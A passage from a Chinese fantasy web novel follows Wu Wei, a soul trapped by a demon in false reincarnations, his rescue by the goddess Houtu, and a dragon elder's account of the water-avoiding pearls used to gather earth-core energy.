他看着自己因为一些人受伤难过,因为一些人渣愤怒,他忽然发现,那不是他伪装出来的情绪,而是他内心为了自我保护不愿意承认的东西。
因为情绪会伤害他。
他小的时候身体太弱了,情绪伤身,有时候只是一个微小的情绪就会让他身体起反应。
慢慢的他就开始冷眼旁观这个世界,看着看着,他就习惯了,但他又渴望喜怒哀乐。
所以他可以自然而然带入别人的故事,替他们哭,替他们笑,但总是很难感受到自身的喜怒。
他潜意识里认为自己的状态不对,所以下意识地去隐藏自己,总是在人前玩消失。
吴惟看到自己心头的枷锁出现了裂痕,这是他对小伙伴的认可,也是他今天一时冲动的剖白。
他知道这还不足以解开这个枷锁,但足够了,至少他有迈出第一步不是吗?
他只要顺其自然,该往前的时候不要犹豫,一步步往前走就好了。
.
三年,已经三年了,哥哥还是一动不动。
业火一直未曾熄灭,若非地脉中时间感知比地府还要不准,吴烬无法确定对于吴惟是多久,他肯定会想发疯。
吴烬原本以为婴灵给哥哥选择纯防御的法衣是因为以哥哥的性格来说,没什么攻击性。
没看当初吴惟对付捆仙绳的方式是在自己体内画符阵鱼死网破吗?
一般来说画符阵需要时间,而且业火说到底不是纯粹的攻击性质的技能,所以吴烬选择进攻方向,有很大一部分原因是想保护吴惟。
但是他万万没想到,现在的吴惟体内依旧留存着业火这么凶悍,使用起来也可以直接瞬发,而选择防御更多的是补齐短板。
自己才是那个被保护的。
虽然这是好事,但是吴烬有点高兴不起来,他实在有点废物啊。
现在他又帮不上什么忙,吴烬干脆找了块空地练拳。
他拳脚功夫本身不算好,也没有什么好的传承,但基础的东西都是相通的。
虽然单练基础,他无法将清气和拳法有效结合,但聊胜于无,练拳能让他更熟悉魂体,对之后研究清气也有帮助。
这天吴烬依旧在练拳,忽然他心念一动,清气自然而然从他拳脚之间挥出,行云流水,没有任何滞塞。
吴烬有些发愣,反应过来之后连忙记住了刚刚的感觉,又练了许多遍,确定自己形成了条件反射才停下来。
刚刚的感觉和之前在成衣店里刻意挥出的一拳不同,他没有动用多少意念去调动,可以说非常流畅。
原以为想要做到这种,需要先有意识的引导,才能慢慢结合。
却没想到经过一次次挥拳,他的魂体自发的开始将气结合了进去真是意外收获。
他这边有收获的同时,吴惟边也有了动静。
扩散在四周的业火瞬间聚拢,回到吴惟魂体内,随后他再次长大。
这次定格在了大概十七八岁左右的模样。
虽然一般来说十五岁到二十五岁,或者二十多和三十多从外表看差距不是很明面,但灵魂一般能看到更深一层,直接看透你魂体的年龄,这差距最多也就两岁的样子。
很有意思的是,就像活人从外表不一定能确定人的年龄,只能定个区间,还不一定准确。
而鬼魂虽然能看透外表年龄,但由于大家时间都不同,谁也不知道对方过了多少年。
哪怕是鬼帝都无法看透。
吴烬一看他哥哥长高了,就知道他没有出什么问题,反而魂体更加稳固了,终于松了口气,紧跟他哥的脚步,把年龄固定在了十七八岁的样子。
吴惟的意识清醒过来,就发现自己身上似乎不太一样了,魂体更加凝实了,业火也比之前更纯粹。
最明显的还是心境的豁达让他对力量的掌控更加纯熟。
吴惟环视一周,发现地脉之气已经退到很远的地方了,四周有很多各种各样的气团。
它们互相抱团,并不杂乱,像是被提纯过的一样。
吴惟:“?”
还有这等好事?业火不但能提纯灵魂,还能提纯地气?
他真是一点也没发现,提纯灵魂这个说法有那么点地狱…咳。
不过提都提了,吴惟眼疾手快在地脉围上来之前,把那些气团收入空间中。
大丰收^-^
对此吴惟很是雀跃。
只是无论收获有多少,他们依旧迷失在大荒中。
吴惟突然想起哪怕在大荒,小灵通可以联网,赶忙去查看地图能不能找到自己的位置。
因为在人间,到过于荒凉的野外会出现没有信号的情况,他已经习惯了,一时之间没有想起来小灵通是不同的。
只要没有遗失,哪怕跑到地上了,也都可以用。
而吴烬则是因为他生活的时代压根没有网,自然也想不起来了。
两个纯纯大冤种:)
然而地图并不准确,他们的定位飘忽不定。
吴惟:“……”
可以,这很大荒。这可太符合他对大荒的刻板印象了,时间都不对还指望什么是对的呢:)
只能走一步看一步了,不过他得先联系一下婴灵,不能让她担心。
吴惟点开自己的通讯信息,发现几乎已经炸屏了。
崽:你在哪?不是去看灯会了吗,怎么还没回来?
崽:看到回我个消息啊!是不是出什么事了?
崽:惟崽崽,不是我说,你什么时候能养成出门在外看小灵通的习惯啊!
崽:小灵通比手机方便多了,想一想都懒得想嘛!!
崽:呜呜呜崽崽
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,我的崽崽,你是不是忘了你可爱的留守老人家了!!
崽:你是不是又被什么奇奇怪怪的东西卷进危险里了?
崽:你在大荒吗?
……
吴惟:“?”
神特么崽崽,神特么留守老人家…不是你几岁…算了几百岁自己在她面前还真是个崽。
看着自己给对方备注的“崽”有点…emmmm
算了不重要,先报平安,不然某人得炸。
事事无为:在大荒,找不到路了。
崽:?
崽:6,不愧是你
崽:能定位吗?
按理来说大荒比较靠边缘的地带定位系统还是正常的。
事事无为:#位置共享# 不行
崽:草,你居然跑这么远,你是怎么过去的?!
末法时代各种传送功能都不好用了,一般来说就算吴惟被什么东西坑了也不可能跑那么远。
事事无为:我是被河水卷跑的,还去了趟人间,在咱家那边的人工湖里开了鬼门回来的
崽:?…这鬼门不联通地府?
事事无为:我也奇怪,但就是这样
事事无为:我现在没事,地脉伤不到我,不用担心
事事无为:实在不行我问问归终
崽:好,你自己小心,出来记得跟我说一声,别再玩消失了!
崽:你知不知道,整个年节都过去了,你半点消息也没有,我都快以为你去轮回了
事事无为:对不起
崽:乖啦,#摸摸头#
吴惟哭笑不得发了个小蛇比心,就关掉了小灵通。
他以指为笔,用功德在地上画了一个小型归终阵,探问了一下方向。
归终指了一个方向,并告诉他一直走,不要回头。
吴惟不疑有他,抹掉归终阵后,带着吴烬向它指的个方向出发。
.
大荒是个时间和空间都飘忽不定的地方,既然归终告诉他不要回头,他只能坚定地按着脚下的方向走。
或许问路用尽了他得气运,自从踏上这条路就意外频发。
先是遇上凶兽饕餮,差点吞了他的业火。
好在这个饕餮不是真实的,只是地脉投射出的影像,有吴烬物理攻击从旁协助,干扰了饕餮进食,吴惟才祝福符阵的加持下从外部焚化了它。
虽然只是投影,但模拟出来的吞噬能力也有一部分是真实的,他把获得的吞噬之力给了吴烬,待吴烬炼化后继续上路。
后来他们又遇上各种各样奇形怪状的东西,走了很久,好不容易遇上一个鬼城,二人有些欣喜。
甫一踏入城中,就发现了不对劲,说不上来哪里不对,大概是气氛,吴惟赶忙用地图确认了一下,他们还在大荒。
这个鬼城是地脉模拟出来的,吴惟痛苦捂脸,打开通讯给婴灵报备。
婴灵看到人都傻了,不是这都什么跟什么啊!
全地府最靓的仔:???地脉都可以模拟鬼城了?不是你怎么什么都能遇到啊?小心一点,少跟他们接触!
她发完带着吴惟给她发的照片进了酆都城。
酆都城不是和鬼城是不同的,并不在现实世界,可以理解成是全息影像,或者第二世界。
第二世界是由人的意识构建的,不受时间空间限制,非常方便,是以鬼神办公很喜欢用到它。
当然,第二世界也并不只有酆都,只不过酆都作为唯一官方的网站,相较于其他开放第二世界,进入是需要权限的,只有判官以上的鬼神可以进入。
婴灵登陆酆都之后,直接敲开了中央鬼帝的大门,把这件事上报了一下,这才回到地府等吴惟消息。
只是这消息迟迟不来,她的时间又拉长了,又到干活的时间了,婴灵只得先解决手边的卷宗。
吴惟会发现不对劲,不是别的什么原因,这鬼城太古了,而且还很人间。
这么说不是因为它像是人间的古城,而是说它像是人间刻板印象里的地府。
比如等级制度森严的制度,悄无声息氛围,鬼魂排队去奈何桥投胎,以及,几乎看不到女性鬼神…
吴惟两人一露面就被拘魂了,被勾魂锁锁住之后,魂魄中还带着一丝微弱的无力感,业火也被拘禁在体内难以调动。
吴惟看了眼吴烬,他对着自己摇了摇头,表示没办法挣脱。
无法,他们只有先静观其变了。
.
71.第 71 章
吴惟越过长长的队伍,被带到了三生石旁。
三生石,可以照见前世今生。
当然,正规地府是没有这玩意的,因为正儿八斤的轮回根本就不是个体灵魂的轮回。
不过第二世界,或者说“芥子”中,倒是有叫三生石的全息游戏,类似于带着系统穿越…
三生石在吴惟站上去的那一刻亮了起来。
第一世他是考上功名却抛家弃子的陈世美,可他不擅长学习,吴惟冷漠吐槽。
第二世他是祸国殃民的大贪官,卖官鬻爵,无恶不作。
吴惟觉得他自己还没那个本事当官,更何况是巧言令色的贪官,毕竟语言天赋不够,别说忽悠别人了,自己被卖了都能给别人数钱。
第三世他是叛军头子,一路打上了皇庭,取代了皇帝,开启暴政,戕害无数忠良和百姓。
吴惟:“……”
他咋不知道自己这么牛,他要是有那指挥才能不会到现在只会放业火到处乱烧好吧!
只管无脑烧,其他的全部交给天道,除了他,还没有谁这么虎。
吐槽归吐槽,但吴惟还是警惕着四周,毕竟一般这种情况下,他是要下地狱的,谁知道又有什么玩意等着自己。
然而并没有,旁边的鬼差直接挥起鞭子抽在吴惟魂体上。
吴惟瞳孔一缩,尖锐的疼痛直达灵魂深处,那一下,若非功德和业火护体,他的魂体或许会直接被撕开。
吴烬一瞬间目眦尽裂,魂体却被勾魂锁死死定住,动弹不得。
真是奇怪,归终符阵会骗自己吗,为什么它指的方向,有一种把自己送进敌军大本营的感觉。
到这个时候吴惟还有心情去想这些有的没的,不得不说有时候苦吃多了也就习惯了。
最奇怪的是,他的直觉居然没有预警。
若是放在以前,他肯定干脆顺应直觉,放弃任何抵抗,等待转机,意识到这点,吴惟恍然发现自己原来也是个赌徒。
也许是因为现在有了牵挂,他的朋友们都在等着他回去,吴惟变得有些犹豫,他用功德凝聚再身侧抵御鞭子的攻击。
又是两鞭子下去,功德几乎散了个干净,刹那间一股鬼气萦绕在心头,他福至心灵收起手,直接放空意识。
一般来说,功德不可能这么脆弱,竟然一丝抵抗力都没有,大荒最擅长模糊人的感知,也许他是被感官欺骗了。
他看到的,感觉到的是功德无法抵挡,若是他信了,也许用不了多久他就会真的被鞭子抽得魂飞魄散。
反而放松魂体,放空思维,反而可以免受伤害。
说是思维,是因为若是反向去想告诉自己是假象,其实也是对这种幻觉的加深,不如直接当它不存在来的实在。
但这一点说起来容易做起来难,谁能看着鞭子落在自己身上无动于衷,哪怕再怎么告诉自己无用,潜意识里还是会恐惧。
好在吴惟有曾经辟谷的经验,知道要怎么影响自己的潜意识,说放松就真的没把鞭子放在眼里了,后面的鞭笞落下,当真像羽毛轻拂,一点感觉也没有了。
能这么赌,也是因为魂体和人的肉身不一样,肉身受损治愈总是很困难,但是魂体却可以通过吸收其他物质补充,反而不是很重要。
就算真的不能避免伤害,只要不伤及意识,魂体怎么也能补回来。
当然这只是对于吴惟这类大功德之人来说是这样的,大多数鬼魂魂体没有那么多功德,其他能量要么危险,要么作用不大。
就拿愿力来说吧,它是最温和的能量,但也只是在驱散怨气方面有奇效,相对于滋补魂体,更多的是通过温养意识来间接补充魂体。
魂体是由清气组成的,意识是魂体的核心,对清气具有一定吸附力。
当然这个清气肯定是夹杂着一些其他杂质的,杂糅成灵魂之力附着在意识上,就可以慢慢形成魂体了。
一般来说婴儿魂体很弱,是因为他们意识不强,还未成精怪的小动物也是同理。
婴灵可以说是个意外了。
这座鬼城没有声音,鞭子抽打在魂体身上也没有声音。
九鞭子下去,吴惟的魂体呈现一种几乎快要散开的状态,但吴惟压根没什么感觉。
拘魂使拉过他的魂体,拽着他头发给他灌下孟婆汤,吴惟只觉得意识慢慢变得模糊。
过了一会儿,拘魂使松开锁链,将他投入黄泉之中。
真是熟悉又冰冷的感觉,意识沉入黑暗前,他脑海中浮现出那么一句话。
果然大荒不会无缘无故出现这么一座鬼城,之前就隐隐有预感,果然是天魔设的局吗?
整个审判过程沉静无声,但在吴惟被投入黄河之后,一个封印阵落成,周边原本秩序分明的鬼城突然变得群魔乱舞起来。
吴烬手上的拘魂锁消失,一股能量冲天而起,撕碎整个鬼城,群魔汇聚成一起,变成了吴惟的模样。
“气性这么大可不好,我亲爱的弟弟。”
“是你!”吴烬冷冷盯着“吴惟”,他认出这个东西了,它就是那个把他们炼成捆仙绳的玩意。
“是我。”天魔点头,“怎么,这么久不见,想我了?”
“你把他怎么样了?”
“我能把他怎么样,真是个硬骨头,常规的办法没法让这个冷心冷情的家伙意识崩溃,只能慢慢磨咯。”
“我把他关了起来,不知道无尽的轮回中,他还能保持现在这样对任何事都冷眼旁观的态度吗?”
“嘻嘻嘻嘻我很期待。”
“美味的小甜点,等久一点也无妨。”
是的,美味的小甜点。
天魔虽然能力是操控恶意,但它不好吃,只有善良和纯粹的意识才能吸引他。
吴惟是个很矛盾的家伙,明明很冷漠,却能装成善良无害的样子,但这冷漠又只是外壳,再往里扒,是更加柔软的芯子。
天魔舔舔唇,面上露出愉悦的表情,他有预感,撬开这个蚌壳,里面的肉质一定非常美味。
用吴惟的脸做这种事,怎么看都好奇怪,不过吴烬可没这心思吐槽,一双拳头舞得虎虎生威,誓要痛扁天魔一顿。
天魔化身被打得节节败退,却依旧在笑,“你杀了我这个化身有什么用呢,嘻嘻嘻只要人类还有恶念在,我就死不了,你照样救不了他。”
“不过看在你我相识一场的份上,你想玩,我就陪你玩玩。”说完,天魔化身散开融入地脉中。
数头凶兽忽然显形,慢慢朝吴烬靠近。
吴烬调动起全身的清气,陷入了无休止的战斗。
.
熊熊业火烧穿了整个魔窟,看得付白首目瞪口呆,“师尊牛比!”
他们修真界就没见过这种变态,明明是个没有灵根的凡人,却可以驱动业火。
那火焰更是遇强则强,尤其是对付魔的时候,简直森林大火一样,到处都是燃料,越烧越旺。
吴惟没有说话,穿了那么多小世界他早就看透了,这玩意它就是建立在人类集体意识上构成的小世界,很不正经。
各种被用烂了的小说设定,他这段时间的经历简直跟那些手撕剧本的快穿主角一样。
而且几乎每次都天坑开局还没有剧本:)
就像这个修真界,他面前这个付白首应该就是主角,还是个某点升级流的的,没什么道德可言。
结果就是见面就是抢,后来被业火教做人了。
这里的功德和他们的功德还不一样,跟大白菜一样,做好事就给,哪怕你是恶意。
这里灵根设计更是稀烂,什么单灵根最强,五灵根是废物,这个主角就是个废物起家,各种奇遇堆出来的。
俗称废柴流。
吴惟:“……”
最有意思的是这个世界的魔和这个世界的修真者,就跟武侠世界的魔教和正派一样,一边表面就实力为尊,另一边要脸,但本质一样。
都是强盗。
不过大概也是因为他出身和平年代,才会这么看,修真界嘛,塑造出来就是这个样子,但是他不喜欢。
吴惟最初吞下孟婆汤的时候,确实记忆几乎都被抹去了,好在这孟婆汤似乎只是稀释版,他后来模模糊糊对自己来处有些了印象。
他这一路上,别说系统了,半个引导都没有,人过去了,就接收了原主的记忆。
这记忆清晰的仿佛亲身经历过,并且刚刚发生过一样,这不,就让吴惟感受到了违和感。
大概是提前给自己画的祝福符阵起了效果,在最开始,没有记忆,也没有感觉到不对的几世里,没有遇到太难的情况也是可喜可贺。
再后来一个鬼怪的世界,业火突然觉醒,才慢慢想轮回前的事,到如今他自己也记不清楚走过多少世界了。
轮回被塞进意识里的记忆很多,有时候多到他要错乱了。
好在他记性一向不好,随着时间推移,很多不重要的记忆会慢慢模糊丢失,不然估计他会大脑爆炸吧…
天魔这厮是真的阴险,经过这么多世轮回,吴惟大概咂摸出味道了。
最开始的鬼门关如果他信了,没放松心神,有一丝犹疑就会被鞭子抽散魂魄。
一旦完全放松,就一定会被祂轻易拿捏住,若非自己比较特殊,怕是早就成了那厮的盘中餐了。
婴灵说过天魔眼里他就是块外壳难啃的榴莲,除非他的心境出现裂痕,否则祂伤不到自己。
这大概也是自己被扔进这些“轮回”的原因。
也好在这些世界因为都是人的意识所创造,脱不开脱不开小说话本,并且因为杂糅,基本都是被用的多的大梗,总是处处透露着违和感,让他很快清醒了。
至于所谓的违和感…就比如古代世界的朝堂,基本都是年轻人的天下,一个长的比一个帅。
比如现代世界看到一个盛思涵,不,比她还恐怖的恋爱脑,再比如星际世界,他穿成了个Omega…
这个不提也罢,总之一穿一个准,不仅是烂梗,还一定会遇到主角或者反派,这种一看就不正常的人,只不过阶段不一样。
像眼前这个,就是已经成长起来的,因为他总是出口就是一些现代词汇,一听就是穿越的。
实不相瞒,他遇到的穿越重生也不在少数…
至于为什么会成为他师尊,主要是这家伙没脸没皮,被业火烧了之后,死皮赖脸要抱大腿。
吴惟觉得,反正闲着也是闲着,他想实验一些,之前穿修真界没有试过的想法,就干脆把他留下了。
在他设想中,修真界应该所有天赋都是平等的,吴惟准备试试能不能帮他们改设定。
比如这个主角,因为是五灵根,需要的灵气庞大,他是靠着奇遇堆能量堆上来的,每走一步都极为艰难。
吴惟就想着让他试着把五行体系建立起来,自己生生不息。
不过他只是提个意见,他本身不会用灵力,但道理都是相通的,既然有这个理论为什么不能用上。
在把付白首折腾的精疲力尽后,还真成功了,这哥们现在修炼可比以前快活多了。
再之
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后,吴惟又把其他想法一并告诉了他,让他去收徒弟做实验。
比如双灵根的,若是相生,可以给被生发者续航,若是操作得当也许能做到把生发那一方当常笑使用。
当然操作不好就生的比较费劲了。
若是灵根相克就可以试试对冲,增强威力,当然这也是需要具体问题具体分析的。
比如水火做炸弹,效果很多单灵根都比不上,但是如果是土和水,就变成困阵了。
若是三灵根四灵根变化可以更多。
至于修炼速度,吴惟最后研究出来的方法,相生灵根和四灵根都可以把重点放在最底层的灵魂修炼上,剩下建立好链条让它们自己生发,若是哪方弱势再进行补充。
有点类似中医给病人调理身体的方式。
至于相克的只能稍微慢一点,平衡两方了。
在这个体系中多灵根的优势更多的是续航,相生灵根越多,续航越强,尤其是五灵根,做的好了就是生生不息永不间断。
但是弱点就是怕被人针对一个点爆破,因为循环链条被打破,再建立起来是要时间的。
而这一点就是单灵根和相克灵根的优势了,他们爆发力强,续航不够。
这样整个修真界打起来,基本上都是五五开了。
从争斗游戏变成了策略游戏了呢,吴惟心里如是吐槽。
争斗多、戾气重还喜欢狗眼看人低,那都是实力容易一眼被看出来,就问你同阶层战斗力拉平了还能有多少争斗:)
反正吴惟来了之后,整个修真界都平和许多。
吴惟就这么被封为了天下之师。
但生活还要继续,他不死就不会进入下一个世界,反正闲着也是闲着,吴惟就开始四处游历,当个人间巡警…嗯,主要是为了赚取功德。
业火和功德是他最大的倚仗,他没办法像一些小说主角一样拥有敏锐的洞察力,只能用笨办法积攒实力,等待一个临界点。
如今正是摸到那个临界点的时候,在业火烧穿整个魔窟后,吴惟感受到了地府的气息。
天雷滚滚而来,凝聚在吴惟头顶。
“这…”付白首惊了,他师尊明明没做什么坏事,为何突然有雷劫出现?
他是个凡人,甚至没有筑基,一般只有结丹往上才有雷劫,再不然就是做了亏心事,被天道清算。
他师尊哪个也不沾边啊!
“我要走了。”吴惟一本正经胡扯,“这是飞升劫。”
付白首:“?”
“以你的资质,以后肯定会飞升,到时候也不用找我。”
付白首觉得挺委屈的,“师尊不要我了吗?”
“唔…如果你之后能找到脱离这个世界的办法或许有办法找到我?”吴惟稍稍歪头思考了一下这个可能性,“总之在上界是找不到的,不用浪费时间。”
“行了,我时间到了,该走了,你退后吧。”
这个世界的天道比较不讲道理,离得近了会被一块劈,但是八成这人无法跟自己一起走的,还是离远点好。
付白首俯首行了个礼,退至一旁。
功德大涨,直冲向劈下来的劫雷,吴惟捕捉到地府的气息,灵魂顺势钻了进去。
“吴惟,速速归来!”
一个浑厚的女声在在意识中炸响,吴惟顺着声源飘去,忽然一股灼热的气息扑面而来,他被什么东西抓在了手里。
吴惟一抬头,就看到了一张熟悉的面容。
祂面如乌玉,头戴金冠,绿色的发丝高高竖起,放大的面庞庄重而神圣。
吴惟就这么盘坐在她手心上,神色有一瞬间恍惚。
这是后土大神。
和他画的设定几乎一模一样。
到了这时,他才恍悟,不是自己触发了临界点,而是被人救了啊。
婴灵飞上后土的手掌,检查了一下吴惟的魂体,发现他没什么事,甚至凝实了许多,这才松了一口气,转身像后土行礼:“多谢娘娘出手。”
“嗯,”后土收下了感谢,看着吴惟的眼神带着一丝惊讶,“没想到这孩子竟与我有些缘分。”
后土是诞生于地脉中的,自然也有一部分读取记忆的权能。
虽然她平时不会主动读取生灵的记忆,但和她自身牵扯的记忆还是会被她无意识扫描到。
她从吴惟眼里看见了那张后土设定图。
绿发黑皮,七手蛇尾,并非人间大众所认知的模样。
她的形象被记录在古籍上,但后人总喜欢臆测,给她赋予不同的形态。
比如端庄慈祥的犹如祖母的女人形象,倒是符合祂大地之母的特点,但过于柔弱,并不像祂。
比如高大威猛的男性…呵,高大威猛倒是没错,但男性又没有生育权能,祂怎么可能会化形成男性呢?
反而是这个孩子,竟然靠着短短几行字复刻出了她原本的面貌,若非轮回本身不可能发生在个体身上,她都要以为就是哪个老友转世了。
“你身上沾染了很重的天魔气息,看来你就是这次的应劫之人了。”
一提这事,婴灵就愤愤不平:“那个狗比玩意,整天觊觎我家小孩儿,没事就搞点幺蛾子把他绑走,可不就沾染上了。”
这暴躁的小模样看的吴惟目瞪口呆,不是,判官小姐你这么松弛的吗?领导在眼前欸!
“呵…”后土轻笑一声,说道,“很正常,应劫之人通常都很受天魔喜爱。”
谁要那个变态玩意的喜爱啊!
婴灵炸毛了。
.
72.第 72 章
吴惟眨了眨眼睛,好像确实如此,以前基本上默认龙王总是阴晴不定的,所以沿海的人们对它从来都是又惊又怕。
“你比谁可爱?”一个雄浑的声音从身后传来,惹的腾蛇一个激灵,僵硬回头。
吴惟二人也跟着转过身来,来人须发皆白,留着大长胡子,头顶一对又高又长的龙角,一身金灿灿的广袖长衫却不显土,反而衬得面容庄严肃穆。
“敖琛,你这家伙怎么还活着?”
大胡子拎起小腾蛇的翅膀啐了一声道,“会不会说话,什么叫我怎么还活着?小没良心的,忘了当初…”
“停,你干嘛呢,小辈面前揭人短过分了嗷!”苍扑腾两下下面的小翅膀,敖琛也不为难他,将它放在手掌上,腾蛇顺势盘上敖琛手臂。
腾蛇的两对翅膀是分开的,背脊上一对大的,主要是飞行时候的动力来源。
另外一对长在平常龙的后脚位置,飞行时用来平衡,平常可以当手掌用用,比如扑腾着试图扇敖琛的脸。
“行了,不逗你了。”敖琛捏着苍的小翅膀,将视线放在吴惟二人身上,“听小灵儿说你们是来采集流心的?”
“呃…是的,这是婴灵给您带的特产。”吴惟从空间里掏出一个礼物盒,双手奉上。
敖琛随手一划直接将之收进空间,笑眯眯地说道,“小娃娃还怪客气的,对了,我上次见过你,意识挺漂亮的。”
敖琛是个颜控,不过这个“颜”不是对人,而是对亮晶晶的东西,比如吴惟那团像星云一样的意识。
吴惟懵了一下,什么意识,意识还有漂亮一说?
当然,一般人是看不到意识的,灵魂尚且是团能量,而意识,并没有所谓的物理质量。
所谓的颜色,形态也只是一种跟人性格、经历、记忆以及命运等相关的拟态,只有鬼神精怪能看到。
毕竟中间出了那么多事,还被迫假轮回了很久,吴惟对上次模模糊糊听到有人说他意识是红蓝相间很漂亮一事已经记不清了。
但这条老龙可惦记着呢,虽然看不到星云团子,但是这漂亮的功德金光也足够赏心悦目了。
这才多久,这小朋友身上的功德竟然多了这么多,站在哪里跟个大金矿似的,让龙看了好生欢喜。
不过对于吴惟来说,这都不重要,听不懂的事只要微笑就可以了,社恐是绝对不可能主动问的。
没错,社恐是本能,哪怕经历轮回也救不回来。
敖琛看着小家伙一脸懵逼的样子,爽朗一笑,道,“走,前面有家食肆,我请你们喝杯茶。”
说完,率先迈步走上前去领路。
虽然一般这种时候还是要推辞一下才正常,但是吴惟不太好意思开口。
没错,他轮回过后脑回路正常一点了,知道这种时候该推辞了呢,不得不说这也算是进步了吧。
吴惟不提,吴烬的不好越过他去拒绝,两人自然谁也没说话,沉默跟上了。
吴烬几次欲言又止,最后想想,只能安慰自己,那大叔看上去听爽快的,而且这是地府,他应该不会给哥穿小鞋啥的吧。
敖琛虽然在前面领路,但依旧注意着后方,灵魂体就是这一点比较方便,因为本身视觉感官是模拟的,自然随时都可以切换成上帝模式。
看着俩小孩纠结的样子,敖琛偷笑,给腾蛇传音道,“这俩小家伙怪好玩的,黑发那个也太腼腆了。”
“诶呦喂,看他想说什么却不好说的样子,跟小灵儿可真是两模两样啊,也不知道她怎么找来这么好玩的崽的。”
腾蛇翻了个白眼,传音道:“半路捡来的呗,不然还能是她生的?”
别说,婴灵还真能生,别看她外表是小孩子,但其实在地府,只要是个女性鬼魂都能生孩子,那就是切割一部分神魂的事儿。
只不过有点类似于有丝分裂,生出来的不一定长得一样,但性格一定有很多类似。
如果不想让对方跟自己太像,可以从地脉里捞点零碎的意识塞进去,当然这个性格也是不可控的。
孤雌繁殖完全没问题,当然如果你想跟其他男的或者女的有一个共同的孩子,步骤相同,只要融合进去就可以了。
不过一般来说,地府人不喜欢那么折腾自己,毕竟她们已经死了,魂体用一点少一点,除了修炼能够补充的渠道也不多。
再加上这样繁殖出来的新魂体,没有经过肉身的养护,鬼龄比正常鬼,甚至活人都要短,根本没必要。
至于为什么一定是女性,主要是跟创生的特性有关。
前面说过女性最本质的能力是生育,而男性则是毁灭。
基于这种特性,男鬼分割出来的魂体事无法赋予其意识的,自然就无法凝聚,很快就散了。
“以她的性格生一个根本不可能,不过捡的,关系能这么好?”
“之前那孩子经历在幽冥网上被人直播出来,你没看?”
也就当时,之后那些人怕吴惟看到社死自闭,很贴心地都给删干净了。
“哦豁,直播?这小家伙很有名?”敖琛来了兴致,“你也知道我们这儿离的远,和大陆很多时候并不来往,当然就没怎么关注了,快跟我讲讲。”
“是啊,他身边那孩子的来历你能看出来吗?”腾蛇卖起了关子。
“你当我火眼金睛啊,龙族没有这个天赋。”敖琛白了腾蛇一眼。
“行叭,他是惟当初来地府的时候度化的鬼魂。”腾蛇大致说了一下他知道的事。
这条蛇是一条八卦蛇,后土娘娘沉睡的时候他在意识里玩小灵通,自然不会错过这样的消息。
要不当初后土娘娘来救人,它也不会专门跟过来了,这一趟可不就是专门看小家伙来的,就是没想到娘娘竟然把它留下来了,开心~
“真是个好孩子啊,难怪天魔喜欢。”
“可别在他们面前提天魔,包管一个炸毛,一个自闭的。”
“放心放心,我是这么没眼色的人吗?”
食肆不远,三鬼一兽不一会儿就走到了,敖琛点了一大桌子茶点,吴惟欲言又止。
敖琛笑了笑:“行了小家伙,别跟我客气,你要是实在过意不去,记在小灵儿账上?”
吴惟讷讷,“这不好吧…”
“哈哈哈哈,逗你玩呢,婴灵那孩子是我们看着长大的,你又是她养的孩子,自然是也是我们的孩子,哪有跟长辈客气的道理。”
吴惟:“?”
不是,婴灵什么时候背刺他的?什么叫婴灵家养的?!
吴惟震惊,吴惟瞳孔地震,吴惟…干脆利落地自闭了。
咳…倒也不至于。
吴惟只是面无表情地转移了话题,“琛叔,我们还不知道流心是要怎么采集。”
吴烬和腾蛇震惊了,好家伙,他哥这应激的叔都出来了,仿佛社恐不存在一样,不过这话题转移的真生硬啊。
敖琛倒是没什么感觉,唯一不满的是自己应该是爷爷辈才对,不过问题不大。
他撩了撩大胡子,才进入正题,“你们知道避水珠吧,这种灵宝产自龙宫,当初用来招待客人用的。”
许多人不知道,其实龙族最开始不是什么傲慢的种族,他们之中有很多龙觉得海底太寂寞,会跑到岸边玩。
当然,这里说的是水龙一族。
他们交到了特别要好的朋友,往往喜欢邀请对方回来做客,避水珠就是为此发明出来的。
然而,龙族因为自身实力强大,没有被赋予看透人性的能力,被有心人察觉,骗到岸上抽筋拔骨,炼成法器。
自此,龙族几乎闭门不出,直接和陆地那边切断了联系。
直到很多年后,陆地的生灵又事求到他们头上,龙族设下许多关卡刁难他们,龙族傲慢的传言才在大陆上流传。
现在的避水珠肯定不是当初那些,在龙族不得不和地府合作之后,避水珠才盛行起来。
因为它们从地府那边学会了一些和外人交往的技巧,慢慢开始和陆地建交。
至于建交的原因,海中虽然精怪众多,但大多都有些笨笨的,它们无法像拥有人类的陆地那样发展,闭关锁国对它们而言到底有些不利。
他们需要和陆地种族进行一些交换。
至于之前吴惟听说的,古人对龙的感官不是特别好,其实和龙并没有什么太大关系。
因为那个时代的人们不了解自然,直接把掌握天气大权的能力按在了龙王头上,说是他们乱下雨,导致民不聊生。
但事实上它们也只会在需要调节的时候出手,平时是不干涉自然的,至于这个需要调节,需要一些拥有契约且能够被他们承认的人向它们请求才会回应。
龙改变天气,也是要承担因果的,自然不可能随便出手伤人,当然,一些恶蛟例外。
就像人有善恶,精怪也有,只不过作为和天道更加紧密的龙族,自然不可能刻意去害谁。
毕竟他们实力强大,兴风作浪造成的后果也更加严重,自然惩罚也更恐怖。
龙族向外建交之后,又重新制作了大量的避水珠,这避水珠并不只能给活着的生灵使用,也可以让鬼寄存,而不被浪冲散。
所以避水珠也受到了地府大众的喜爱,龙族为此也想办法开发出一种可以虚化避水珠的方法。
拥有避水珠的人多了,总会有一些奇葩无意间发现什么。
这不就有鬼岩浆
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突然喷发的时候,着急忙慌的拿错了法宝,差点魂没了,但也开发出来了避水珠的另外一个用途,就是收集地心之力,也就是流心。
海域的地府本来就是距离地心最近的地方,来采集地心之力的鬼本来就不少。
如今海域盛产的避水珠竟然有这样的功效,让一些鬼魂惊喜不已,市面上的避水珠被一扫而空,甚至造成了龙族的恐慌。
那群地府鬼不会想占领它们吧?
龙族自认为实力不错,但人类鬼脑子更好使。
它们赶忙了解了一下事情缘由,发现是为了采集流心,这才放下心来。
在那个视修炼为主流的年代里,流心是唯一即安全又高效的东西,就类似于修仙小说里的灵石,可想而知避水珠的这个功效会引来怎样的轰动。
有很长一段时间海域几乎成了整个地府最繁荣的地带,也就是到了最近的年代,修炼文化才慢慢没落下来,许多鬼离开海州另谋出路。
毕竟流心虽然好用,但采集它还是比较危险的,如今末法时代,收益和付出不成正比的情况下,自然很多鬼放弃了。
敖琛向两个小辈科普了一下海州历史,以及避水珠的由来,这才讲到重点。
“流心的采集,一是配合手印,将之引导入避水珠内,只需要在岩浆附近收集即可。”
“这种方法的好处是比较容易,但采集到的流心纯度一般不是很高。”
“另外一种呢,则是需要你进入避水珠内,操控避水珠进入岩浆,避水珠会自行吸收流心,而你需要提取杂质,收集最纯粹的那部分。”
